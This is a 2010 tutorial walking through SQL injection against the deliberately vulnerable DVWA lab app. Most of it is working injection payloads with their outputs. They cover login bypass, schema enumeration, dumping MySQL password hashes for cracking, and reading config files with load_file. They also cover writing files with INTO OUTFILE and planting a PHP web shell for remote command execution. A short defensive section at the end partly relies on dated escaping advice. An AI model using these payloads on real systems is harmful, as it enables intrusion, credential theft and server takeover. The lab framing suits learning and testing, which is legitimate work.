

# HackYeah – SQL Injection

Trenton Ivey – May 2010

## Intro:

The goal of this paper is to help explain and demonstrate some of the dangers of SQL injection. It is in no way complete, and it is far from comprehensive. If you have any comments, suggestions, corrections, etc...please send them to Trenton@HackYeah.com

I have always believed that the best way to learn is to do. For this reason, I have tried to provide the reader a reference to use when practicing SQL injection. You are highly encouraged to follow along and try the following examples as you read.

For the rest of this tutorial we will use Damn Vulnerable Web App (DVWA) as our practice grounds. The sources listed at the end of this paper contains both a link to the DVWA download, and to the official install instructions. Do not install DVWA in a production environment. It could cause your host to be compromised (by the techniques listed below, among others).

I have used the XAMPP server package (Apache with MySQL) in a Windows environment for this walkthrough. This can be done with other web servers, or OS types, but some of the injections will need to be tailored accordingly.

## Injection Intro:

The following definition has been borrowed from Wikipedia: SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed ... SQL injection attacks are also known as SQL insertion attacks.

Rephrased, this means that we may be able to use special input to trick the SQL server to do what we want it to do.

**Formatting:**The following injections can be split into three parts. For the sake of simplicity we will call these three parts the injection prefix, expression, and suffix. For the remainder of this paper I will refer to these three parts, when placed together, as the injection phrase. This will be **red** in color – it is what you will insert into the text box. The whole query (the original SQL query plus our injection phrase) will be referred to as the SQL injection query. I have shown the whole

query, so that you can better understand what the SQL server is processing after we insert the injection phrase.

The *"injection prefix"* is a modification of an expected query that attempts to break us free of the expected input and place the rest of our input directly into the SQL query.

The *"injection expression"* contains the specific query used to gain information or execute code.

The *"injection suffix"* will attempt to manage the formatting of the query to prevent unwanted syntax errors. This is usually done by commenting out the rest of the query. This task can also be accomplished by creating proper SQL syntax.

## SQL INJECTION WALKTHROUGH WITH DVWA

Once you have XAMPP running correctly. Simply place the DVWA folder into your server's root web directory (In a test environment only!). In this tutorial, DVWA will be located at c:\xampp\htdocs\dvwa.

Add the database login name and password to the DVWA configuration file located at ...dvwa\config\config.inc.php. With any web browser, go to <http://127.0.0.1/dvwa>. You will be prompted to "setup the database". Click the noted link. If all goes well DVWA should note that setup was successful. Click on the "DVWA Security" tab. You will be prompted to insert a username and password. Log in with **admin** as the username and **password** as the password (They don't call it DVWA for nothing). Set the security to low, and click submit. Click on the "SQL Injection" tab...we are now ready to go.

Although you can attack the server from the server (127.0.0.1 - localhost), If you want to use another computer to attack this vulnerable host, you will need to modify ...dvwa\.htaccess to include your network address. This helps prevent DVWA from being abused from outsiders.

Insert the text from the following examples noted in red into the User ID box, and then click Submit to see what happens.

### Check expected results:

- `SELECT first_name, last_name FROM users WHERE user_id = '1'`
  - **Results:** ID: 1  
First name: admin  
Surname: admin

- Note that we could cycle through each user to find out who, and how many there are. Something like this is an obvious information disclosure vulnerability.

### Check for handling of quotes:

- `SELECT first_name, last_name FROM users WHERE user_id = 'O'Malley'`
  - We will use something that looks benign to check for quote handling errors
  - **Result:** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Malley' at line 1
  - We can see that everything after the single quote is being treated as a SQL request.

### Check the results of an OR True statement - First Try:

- `SELECT first_name, last_name FROM users WHERE user_id = ' a' OR 1=1;--'`
  - **Result:** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--' at line 1
  - The `--` didn't work as hoped. Ideally (for the attacker) this will cause the entire following query to be treated as a comment. Note the extra single quote at the end of the returned error. It must be expecting the single quote from `user_id='` to be closed. Let's try something else...

### Check the results of an OR True statement - Second Try:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR ''=''`
  - **Result:** ID: a' OR ''='  
First name: admin  
Surname: admin  
  
ID: a' OR ''='  
First name: Gordon  
Surname: Brown  
  
ID: a' OR ''='  
First name: Hack  
Surname: Me

ID: a' OR ''='  
First name: Pablo  
Surname: Picasso

ID: a' OR ''='  
First name: bob  
Surname: smith

- For a lookup like this, one would only expect the first response to be displayed. If you look at the DVWA source code (Click the View Source tab in DVWA), you can see that a loop is created to cycle through each returned row. This is a bad idea because the expected input should have an expected output of only one result - Why they code this page to display more than one result is beyond me. I guess that's why they call it DVWA.
- Note how we used AND ''=' at the end of our injection. This takes care of the final single quote by making a statement that is always true ''='
- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR 'x'='x';#"`
  - Here is an alternative injection string that will work. It seems that an injection suffix of  `;#` will comment out the following SQL, thus creating proper syntax within the SQL phrase. We will use this for our suffix for most of the following injection strings.

### Find the number of returned columns:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 1;#"`
  - **Result:** Nothing....this means that there is at least one column returned from the original SELECT statement.
- `SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 2;#"`
  - **Result:** Nothing...this means that there are at least two columns returned from the original SELECT statement.
- `SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 3;#"`
  - **Result:** Unknown column '3' in 'order clause'
    - This means that there are only two columns returned by the original SELECT statement (In this case, first\_name and

last\_name - We don't usually get to see the text in blue. We can use these injection phrases to gain more information about the original SQL query's structure.) If we use UNION to return other results, we will need to make sure that the number of columns is equal in both the original SQL query and our Injected UNION Phrase.

### Find field names - First Try:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname IS NULL;#`
  - **Result:** Unknown column 'firstname' in 'where clause'
  - **This is good....**we now know that there is not a column named firstname. Let's take a few more guesses...
- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname = ''`
  - This is an alternate way to do this. It should also work...there should still be an error if the column does not exist.

### Find field names - Second Try:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name IS NULL;#`
  - Result: Nothing
  - ...This is good. That means there are no errors, thus there is a field named first\_name. Nothing is actually returned because first\_name is not NULL, IE...it has something in it.
- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name = ''`
  - The alternate will not error out if the column name is correct, but unlike above, this should print the expected results for the first row (because of the loop noted above, it will actually display all rows).
  - Try a few other fields....not all of these will work, but give them a try and see what happens:

- user\_id
- lastname
- last\_name
- image
- links
- link
- avatar
- pass
- password
- user

### Finding user names - LIKE:

Let's say that the page is a bit more secure and will only list one result at a time. If we need to know a username (and we can't just insert a sequential number), how do we get more names? With LIKE or course. (Here we will assume that first\_name is what we are trying to find).

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name LIKE '%P%';#"`

Using this same technique, it may be possible to find the value of other fields (passwords, email addresses...etc)?

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name='Pablo' AND password LIKE '%a%';#"`

### Finding the table name - Take a guess:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR test.user_id IS NOT NULL;#"`
  - **Result:** Unknown column 'test.user\_id' in 'where clause'
  - We are using the tablename.columnname format to help guess the table name. We must use a known column name (see Find Field Names) for this to work properly. If we guess an incorrect table name we will get an error. If, however, we guessed the correct table name, the query should not have an error.

- Try a table name of `users`
- `SELECT first_name, last_name FROM users WHERE user_id = 1' AND 1=(SELECT COUNT(*) FROM tablenames);#"`
  - This is an alternative way to brute force a table name. This will help us find any table name in the database. We can use the above method to help determine if any table that is found is the one we are currently working with.

### Find the database name - LIKE:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' OR database() LIKE '%A%';#"`
  - The `database()` function will help us find the database name. We can use the LIKE clause to help determine the name. The '%' is the wildcard character. Means 0 or more characters of any value, so %A% checks to see if the database name contains the letter A. '\_' represents any single character, so you can determine the length of the table name by incrementing the amount of '\_'s until you get a response. Try the following:
    - `a' OR database() LIKE '___';#`
    - `a' OR database() LIKE '____';#`
    - `a' OR database() LIKE '%W%';#`
    - `a' OR database() LIKE 'D%';#`
    - `a' OR database() LIKE 'D%';#`
    - `a' OR database() LIKE '%Z%';#`
    - `a' OR database() LIKE '_v_A';#`

### Find the table names - LIKE:

- `SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema LIKE '%dv%'"`
  - SQL-92 Standardization (ISO 9075) includes the `information_schema` database. This holds information on other databases, tables, users,

etc.... `Information_schema.tables`, is a list of database names (`table_schema`) and table names (`table_name`). Fortunately for us, we can request both of these at once because the original query also requested two columns. By manipulating the **WHERE table\_name LIKE** phrase, we can find the names of various tables. This is not necessary for this exercise because...

- **SELECT first\_name, last\_name FROM users WHERE user\_id = 'a' UNION SELECT table\_schema, table\_name FROM information\_schema.tables;#"**
  - The loop will display all of the returned rows - not just the first one. By omitting the WHERE/LIKE portion, we are able to see all of the results.

### Find the current SQL Version

- **SELECT first\_name, last\_name FROM users WHERE user\_id = 'a' UNION ALL SELECT 1, @@version;#"**
  - **Result:** ID: a' UNION ALL SELECT 1, @@version;#  
First name: 1  
Surname: 5.1.41
  - Here we can see that the current version number is 5.1.41.

### Find the current database user:

- **SELECT first\_name, last\_name FROM users WHERE user\_id = 'a' UNION ALL SELECT system\_user(),user();#"**
  - Result: ID: a' UNION ALL SELECT 1, user();#  
First name: root@localhost  
Surname: root@localhost

### List Password Hashes:

- **SELECT first\_name, last\_name FROM users WHERE user\_id = '1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#"**
  - This will hopefully display a password hash that can then be cracked with John the Ripper or other password crackers. This could be usefully for many things. If this works, check to see if they have a database management program such as PHPmyAdmin - log in with what you found (and cracked).

## Reading arbitrary files:

- `SELECT first_name, last_name FROM users WHERE user_id = ' UNION ALL SELECT load_file('C:\\xampp\\htdocs\\dvwa\\.htaccess'), '1'"`
  - This should show us the .htaccess file. We could of course, read any file that the SQL server has read rights to. You could check for .htpasswd, or some other file that contains sensitive information. PHP files that access a SQL database will often have the database password (likely in plain text) listed in the file. SQL injection will allow us to view the .php file without the php first being interpreted by the server.
- `SELECT first_name, last_name FROM users WHERE user_id = ' ' UNION ALL SELECT load_file('C:\\xampp\\htdocs\\dvwa\\config\\config.inc.php'), '1'"`
  - This works without error, but there is nothing printed to the screen. If you view the page source however, you should find something interesting.

## Writing arbitrary files:

- `SELECT first_name, last_name FROM users WHERE user_id = "UNION SELECT 'test', '123' INTO OUTFILE 'testing1.txt'"`
  - The command will likely return a few warnings - look closely, these could contain file paths that give us an idea of the web root location on the server...If all goes well, you should see a file named testing1.txt in the SQL data path. (If you are using Xampp on Windows, it should be something like C:\xampp\mysql\data\dvwa\testing1.txt). Let's try to write a file accessible to the web.
- `SELECT first_name, last_name FROM users WHERE user_id = "UNION SELECT 'test', '123' INTO OUTFILE 'c:\\xampp\\htdocs\\testing2.txt'"`
  - Now, point your web browser to "http://[web root]/testing2.txt". What do you see.....it's our OUTFILE! This means that the attacker has the ability to change existing web pages via SQL injection. This means, you can add your own pages to the site. It may also mean that we can execute remote code...

## Remote Code execution:

- `SELECT first_name, last_name FROM users WHERE user_id = " UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\dvwa\\shell.php';#"`

- Now point your browser to [http://\[web root\]/dvwa/shell.php?cmd=dir](http://[web root]/dvwa/shell.php?cmd=dir). Game over! We have just run a command on the remote server. From here we could download and run files (backdoor, keylogger, etc...), change system settings, add system users, etc...
- Note that if you try and change the directory, it will not remember the next time you run the command. Each time it is a new process. To find out what directory you are in, use the remote shell to execute the command 'echo %25CD%25 '

### Getting around escaped characters:

- So far we have been using DVWA on the low security setting. Click on the "DVWA Security" tab on the left side of the DVWA webpage. Change the settings to medium and click Submit. Go back to "SQL Injection" and try an injection phrase that checks for the handling of quotes.
- `SELECT first_name, last_name FROM users WHERE user_id = ' O'Malley'`
  - **Result:** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`O'Malley`' at line 1
  - Note that there is now a `\` in front of our single quote. In SQL a `\` will cause certain characters to be taken literally. Instead of interpreting the single quote as an escape from "`user_id=`", it is interpreted as text.
- `SELECT first_name, last_name FROM users WHERE user_id = ' 1 OR 1=1'`
  - As we can see, if we avoid certain characters, we can still trick the server into running our injection phrase. Play around with the previously mentioned injection phrases – but first remove any quotes. Many of the above injection phrases will still work without quotes.

### Protect Yourself from SQL Injection:

Hopefully this walkthrough has shown how important it is to protect your site against SQL injection. NEVER take user input and place it directly into a SQL query. Always sanitize user input. Watch for characters like `'`, `"`, `_`, `%`, `\x00`, `\n`, `\r`, `\`, and `\x1a`. If possible create a whitelist of what characters are acceptable, and don't make it contain any more than you need. Limit user input by length (and make sure the user can't send data greater than expected by modifying the form's HTML). If only one result is to be expected – return only one result. If you are using PHP and MySQL, it is often best to assign the input to a variable, and then pass it through the `stripslashes()` and then the `mysql_real_escape_string()` function. Once this is done,

SQL injection will much more difficult – for a query like we were working with, it should become impossible. Avoid displaying server errors when possible. Always make sure to use a least-privileged database account. Test...test....test. There are many automated SQL Injection tools. I recommend using these tools to test your code. Having a professional code audit is never a bad idea either.

## Sources

To give credit where it is due – The following sites were referenced while creating this walkthrough. I would highly recommend checking them out:

- <http://www.apachefriends.org/en/xampp.html> – The XAMPP site
- <http://sourceforge.net/projects/dvwa/> - Download location for DVWA
- <http://www.youtube.com/watch?v=Gzlj07jt8rM> – The official DVWA install video, showing how to install DVWA with XAMPP.
- [http://en.wikipedia.org/wiki/SQL\\_Injection](http://en.wikipedia.org/wiki/SQL_Injection)
- <http://unixwiz.net/techtips/sql-injection.html>
- <http://sqlzoo.net/hack/24table.htm>
- <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>
- <http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/>
- <http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection>
- <http://w3schools.com/sql/default.asp>